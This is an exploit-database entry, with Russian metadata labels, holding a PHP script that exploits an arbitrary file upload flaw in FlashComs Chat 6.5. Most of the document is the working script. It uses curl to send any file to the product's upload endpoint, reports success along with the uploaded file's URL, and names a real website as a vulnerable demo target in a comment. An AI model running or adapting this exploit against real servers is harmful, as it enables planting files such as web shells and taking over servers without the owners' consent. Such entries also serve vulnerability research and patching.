Exploit FlashComs Chat 6.5 - Arbitrary File Upload

[Exploiter]

EDB-ID

29917

Проверка EDB

1. Пройдено

Автор

MIYA CHUNG

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

null

Дата публикации

2013-11-30

FlashComs Chat 6.5 - Arbitrary File Upload

<?php
/*
       __            _                      _            ____            
      / /___ _____  (_)_____________ ______(_)__  _____ / __ \_________ _
 __  / / __ `/ __ \/ / ___/ ___/ __ `/ ___/ / _ \/ ___// / / / ___/ __ `/
/ /_/ / /_/ / / / / (__  |__  ) /_/ / /  / /  __(__  )/ /_/ / /  / /_/ / 
\____/\__,_/_/ /_/_/____/____/\__,_/_/  /_/\___/____(_)____/_/   \__, /  
                                                                /____/  
* FlashComs Chat Script File Upload Exploit
* Written by miyachung
* Date: 29.11.2013 , 13:38 AM
* Thanks to all janissaries members(burtay,KýLýCaRsLaN,TheMirkin,eno7,3spi0n,n4ss,mmxm,Michelony)
* Demo vulnerable website: http://www.npua.org/flashcoms/
* php exploit.php -u www.npua.org/flashcoms -f myfile.txt
*/

$options = getopt('u:f:');

if(!isset($options['u'],$options['f'])) die("\nHow to use: php $_SERVER[PHP_SELF] -u URL -f FILE_TO_UPLOAD\nExample: php $_SERVER[PHP_SELF] -u www.example.com/paths -f myfile.txt\n");

$handle = curl_init();
curl_setopt($handle, CURLOPT_RETURNTRANSFER, true);
curl_setopt($handle, CURLOPT_URL, "http://".$options['u']."/common/server/php/file.php?action=upload");
curl_setopt($handle, CURLOPT_POSTFIELDS,array("Filedata" => "@".$options['f']."","fileId" => $options["f"]));
$result = curl_exec($handle);

if(strpos($result,"UPLOAD_SUCCESS")){
	echo "\n_____________________________________________________________________\n";
	echo "\t[+] Exploitation success!!\n";
	echo "\t[+] http://$options[u]/files/$options[f]\n";
	echo "_____________________________________________________________________\n";
}else{
	echo "\n[-] Target is not exploitable\n";
	preg_match('#msg="(.*?)" />#si',$result,$msg);
	echo "[-] Message: ".$msg[1]."\n";
}                              

?>